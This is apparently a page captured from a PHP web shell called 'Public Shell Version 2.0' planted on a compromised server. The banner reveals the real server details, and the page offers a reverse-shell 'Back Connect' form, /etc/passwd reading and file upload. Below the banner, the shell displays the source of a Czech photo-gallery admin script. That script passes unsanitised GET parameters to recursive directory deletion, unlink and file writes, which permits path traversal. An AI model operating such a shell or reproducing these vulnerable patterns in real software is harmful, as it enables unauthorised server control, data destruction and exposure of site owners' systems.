Public Sh


Uname : Linux ispc 6.2.16-3-pve #1 SMP PREEMPT_DYNAMIC PVE 6.2.16-3 (2023-06-17T05:58Z) x86_64
PHP Version : 5.2.6-1+lenny16
Server Admin : webmaster@zednictvi-stastny.eu
Server IP : 109.105.49.240 Your IP : 216.73.216.238
Safe Mode : Safe Mode is OFF
Read etc/passwd : Disabled Functions : PHP INFO
Back Connect
IP : PORt :
'; Public Shell Version 2.0
Disable Functions: passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source,highlight_file
Current Path : /var/www/clients/client49/web272/web/gallery/
File Upload :
Current File : /var/www/clients/client49/web272/web/gallery/admin.php

<?php
   require_once("general/protector.php"); 
   require_once("general/administrator.php"); 
   $admin = new admin();
 
?>        
<html>
<head>
  <meta http-equiv="content-type" content="text/html; charset=windows-1250">
  <LINK href="css/styles.css" type="text/css" rel="stylesheet">
  <script src="js/redsys.js" type="text/javascript"></script>

  <script type="text/javascript">
      function confirmation(data)
      {
  	    var answer = confirm("Delete entry?")
	    if (answer)
	    {
		  alert("Entry Deleted")
		  window.location = data;
	    }
	    else
	    {
	      alert("No action taken")
	    }
      }
      
      function savetxt(data,pic)
      {
        popis = data + "&popis=" + document.getElementById(pic).value
      	//alert(popis)
      	window.location = popis
      }
   </script>




  <title>Fotoalbum - administrace</title>
</head>
 <body>
<img src="images/logo.jpg"><br><span class="boldtext">Administrace fotogalerie</span><br><br>
   <table border="0">
    <tr>
     <td valign="top" width="230" class="boldtextgreen"><span class="boldtext">Kategorie</span><br><br>

<?php
 
if (isset($_POST['createdir'])){
  createfolders();
} 

if (isset($_POST['uploadphoto'])){
   $admin->uploadImage();
} 

 
if (isset($_GET['category']) && isset($_GET['filename'])){
  deletephoto();
}


if (isset($_GET['delete'])) {
  deltree($_GET['delete']);
}

if (isset($_GET['save'])) {
  save($_GET['save']);
}


  $dir = getcwd();
  $folders = scandir($dir);
  for ($x=0; $x<count($folders); $x++){
    if (is_dir($folders[$x])){
      if (@opendir($folders[$x]."/info")){
     	printf("<a href='admin.php?cat=".$folders[$x]."' class=\"boldtextgreen\">".$folders[$x]."</a>");
     	printf("&nbsp;&nbsp;&nbsp;");
     	printf("<a href='javascript:confirmation(\"admin.php?delete=".$folders[$x]."\")' class=\"boldtextred\"><font color=\"red\"><b>smazat</b></font></a><br>");
      }
    }
  }
  
 function createfolders(){
   if (isset($_POST['adr'])){
   $adr=$_POST['adr'];
   mkdir($adr);
   chmod($adr,0775);
   mkdir($adr."/thumbnail");
   chmod($adr."/thumbnail",0775);
   mkdir($adr."/original");
   chmod($adr."/original",0775);
   mkdir($adr."/info");
   chmod($adr."/info",0775);
   $_GET['cat'] = $_POST['adr'];
 }
  
  }
  
  function deletephoto(){
    @unlink($_GET['category']."/info/".$_GET['filename'].".info");
    @unlink($_GET['category']."/thumbnail/".$_GET['filename']);
    @unlink($_GET['category']."/original/".$_GET['filename']);
    $_GET['cat'] = $_GET['category'];
  }
  
  function save(){
    $filename = $_GET['category']."/info/".$_GET['save'].".info";
    $popis = $_GET['popis'];
    unlink($filename);
    $f = fopen($filename,"w+");         
    fwrite($f,$popis."\n");
    fclose($f);
    $_GET['cat'] = $_GET['category'];
  }
  
function deltree($f) {
  if (is_dir($f)) {
    foreach(glob($f.'/*') as $sf) {
      if (is_dir($sf) && !is_link($sf)) {
        deltree($sf);
        @rmdir($sf);
      } else {
        @unlink($sf);
      }  
    }  
  }
  @rmdir($f);
}

?>
     <br><br>
     <span class="boldtext">Přidání nové kategorie:</span>
      <form action="" method="post" name="createdir">
        <input type="text" name="adr" size="20">&nbsp;<br>
        <input type="submit" value="Vytvořit" name="createdir">
      </form>
     
       <br>
       <br>
       <a href="index.php" class="boldtext"><u>Zpět na hlavní stranu</u></a>
     </td>
     <td>
     <form action="" method="post" enctype="multipart/form-data" name="postMsg">
    <!--   <center>
         <span class="boldtext">Přidání fotografie (pouze formát .JPEG je podporován)</span><br><br>
       </center>-->
       <table>
         <tr><td></td><td class="boldtext">Přidání fotografie (pouze formát .JPEG je podporován)</td></tr>
         <tr><td width="200" class="boldtext">Fotka:</td><td><input name="myfile" type="file" size="30" accept="image/*"/></td></tr>
         <tr><td width="200" class="boldtext">Adresář:</td><td><input name="mydir" type="text" size="30" readonly value=<?PHP printf("\"".$_GET['cat']."\"");?>/></td></tr>
         <tr><td width="200" class="boldtext">Popis k fotce:</td><td><input name="mytitle" type="text" size="50" /></td></tr>
         <tr><td></td><td></td></tr>
        <tr><td><!-- Přepsat/Vytvořit info soubor?</td><td><input type="checkbox" name="change"/>--></td></tr>
        <tr><td width="200" ></td><td class="boldtext">Informace o kategorii (netýká se popisku fotografie) </td></tr>
        <tr><td width="200" class="boldtext">Přepsat (Vytvořit) info soubor kategorie?</td><td><input type="checkbox" name="change"/></td></tr>
         <tr><td width="200" class="boldtext">Název kategorie:</td><td><input name="mycat" type="text" size="50" value=""/></td></tr>
         <tr><td width="200" class="boldtext">Popisek kategorie:</td><td>
          <a href="#" onclick="insertTag('B'); return false;"><img src="images/bold.gif"></a>
          <a href="#" onclick="insertTag('I'); return false;"><img src="images/italic.gif"></a>
          <a href="#" onclick="insertTag('U'); return false;"><img src="images/underline.gif"></a>
          &nbsp;&nbsp;
          <a href="#" onclick="insertTag('H1'); return false;"><img src="images/h1.gif"></a>
          <a href="#" onclick="insertTag('H2'); return false;"><img src="images/h2.gif"></a>
          <a href="#" onclick="insertTag('BR',false); return false;"><img src="images/enter.gif"></a>
          <br>     
         
           <textarea id="mytext" name="mydesc" cols="30" rows="4"></textarea></td></tr>
         
         <tr><td colspan="2" align="center"><input type="submit" name="uploadphoto" class="sbtn" value="Upload" /></td></tr>
       </table>   
     </form>
      <?php
      
         if (isset($_GET['cat'])){
           $admin->displayThumbList();
         } 
      ?>
      </td>
    </tr>
  </table>
 </body>
</html>


Public Shell Version 2.0